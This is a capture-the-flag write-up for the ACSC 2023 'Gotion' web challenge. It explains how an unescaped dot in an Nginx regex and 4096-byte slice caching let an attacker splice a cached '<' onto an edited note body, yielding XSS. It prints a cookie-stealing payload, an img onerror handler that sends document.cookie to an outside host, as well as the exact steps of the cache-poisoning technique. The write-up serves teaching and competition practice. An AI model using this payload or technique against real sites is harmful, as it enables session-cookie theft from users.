Skip to content

Gotion

In ACSC 2023, 250 points

Gotion is yet another simple secure note service. You might have seen these kind of applications many times before, but try this one!

Challenge files: gotion.zip

The website consists of a simple Golang web server, as well as a Nginx reverse proxy, which acts as a cache. Also provided is a bot service that sets the flag as a cookie and loads arbitrary pages on the site via the Nginx reverse proxy. It is clear that this is an XSS challenge.

The Golang web server

Users can create notes via the Golang web server, which renders the notes using Golang's templating engine, then saves the output HTML to disk. These HTML files are identified by a UUID followed by the note's title.

The user-supplied note titles undergo strict validation before they are accepted:

go
func ValidateNoteTitle(title string) error {
	if len(title) > 20 {
		return errors.New("title is too long")
	}

	validTitleRegExp := regexp.MustCompile("^[a-zA-Z0-9 ]+$")
	if !validTitleRegExp.MatchString(title) {
		return errors.New("title is invalid")
	}
	return nil
}

The only field that does not undergo significant validation is the body of the note:

go
func ValidateNoteBody(body string) error {
	if len(body) > 1024 {
		return errors.New("note is too long")
	}
	return nil
}

However, the templating engine used, Golang's html/template does an excellent job of encoding any malicious note bodies.

html
<div class="card mt-5">
  <div class="card-body">
    <h4 class="card-title">{{.Title}}</h4>
    <pre>{{.Body}}</pre>
  </div>
</div>

Any < characters included in the body of the note will be replaced with &lt;. Other characters encoding include " and ', but not `.

At this point, the application seems pretty secure and no vulnerabilities have been identified so far.

The Nginx Cache

This consists of only a single Nginx configuration file. However, it causes all of the vulnerabilities that will allow us to pwn this app.

nginx
proxy_cache_path /tmp/nginx keys_zone=mycache:10m;
server {
    listen 80;

    location ~ .mp4$ {
        # Smart and Efficient Byte-Range Caching with NGINX
        # https://www.nginx.com/blog/smart-efficient-byte-range-caching-nginx/
        proxy_cache mycache;
        slice              4096; # Maybe it should be bigger?
        proxy_cache_key    $host$uri$is_args$args$slice_range;
        proxy_set_header   Range $slice_range;
        
        # note: added for debugging, not in original challenge
        add_header X-Cache-Status $upstream_cache_status;
        add_header X-Cache-Key $host$uri$is_args$args$slice_range;
        # end note
        
        proxy_http_version 1.1;
        proxy_cache_valid  200 206 1h;
        proxy_pass http://app:3000;
    }

    location / {
        proxy_pass http://app:3000;
    }
}

This is suspicious as caching is typically not required for CTF challenges, and is rather pointless in this scenario as the origin server is on the same machine as the cache server.

This configuration is intended to cache the howto.mp4 or any other file with the .mp4 extension.

However, on closer inspection, I realized that the location directive uses a regular expression modifier (~) without escaping the . character. As we have seen in other vulnerability writeups, this can be problematic as the dot character in a regular expression matches any character, not only the literal ..Therefore, any page ending in mp4 would be cached.

This allows us to cache the notes we have generated as the title of the note forms the last portion of the note's ID and thus path.

However, we still have not discovered any vulnerability that will allow us to circumvent Golang's HTML sanitization and achieve XSS.

Slicing

I decided to investigate further by actually reading the article that had been linked.

HTTP request can specify exactly what part of the response body is required using the Range header.

To enable efficient caching, Nginx splits the response body into slices (of 4096 bytes in this case), which are then cached individually. Thus the cache only needs to store the parts of a file that are requested by clients. Any cache misses can be subsequently filled in by forwarding the request to the origin server.

In the case of note files, the size of the response body can easily exceed 4096 bytes if the size of the note body is close to the maximum size of 1024 bytes. When a client requests the entire file, Nginx will split the response body into two slices:

  1. Bytes 0 to 4095
  2. The remainder

These two slices are then cached separately. Subsequent requests to any part of this file can be served using the cached slices.

However, a client may not request the entire file at once. For example, if the client requests the first 10 bytes of the response body, only the first 4096 bytes (the first slice) will be requested from the origin server by Nginx. The request will be served from this slice, which is then cached. When the remainder of the response body is requested, Nginx will issue another request to the origin server to obtain the second slice.

However, between these two requests to the origin server, there is no guarantee that the actual content of the first slice on the origin server has not changed. Even if a user has edited the note, Nginx will still continue serving the cached content until it expires.

Cache poisoning

Our goal will be to obtain control over some kind of HTML tag, like the <img> tag. We could then insert event handler attributes and achieve XSS.

However, we are unable to directly use the critical < character as it is encoded by the application. We will use the cache slice poisoning trick to overcome this.

We will construct a note such that the first cached slice ends with the < character. Then, we will edit the note such that the second chunk starts with our payload (img src=x onerror=...). When these two slices are combined by Nginx, an <img> tag will be formed:

gotion.png

First, I created a note with a title 20 characters long and ending in "mp4", such as "aaaaaaaaaaaaaaaaamp4".

After some trial and error, I found that a note body with exactly 936 characters will cause a < to line up perfectly at the end of slice 1.

I then sent a request for the first 10 bytes of the note. This causes the first slice to be cached.

Next, I edited the note body to be exactly 1024 characters and determined the number of characters of note body that appeared at the start of the second slice. This turned out to be 87 characters. This will be the region where we can place our payload.

As both the single and double quotes are encoded, I went with

javascript
img src=x onerror=fetch(`//hook.junron.dev?${document.cookie}`)

as the payload. As the payload is only 63 characters long, the remaining space was padded with spaces.

The final 87 characters of the note body was replaced with the padded payload. After editing the note, I sent a request to fetch the 4096-5000th bytes, causing the second slice to be cached.

At this point, the Nginx cache is poisoned and will serve this malicious request instead of the legitimate note contents:

html
<img src=x onerror=fetch(`//hook.junron.dev?${document.cookie}`)                        </textarea>
<label for="floatingTextarea">note</label>

After reporting the request to the bot, the flag appears in my server logs:

image-20230226152820445.png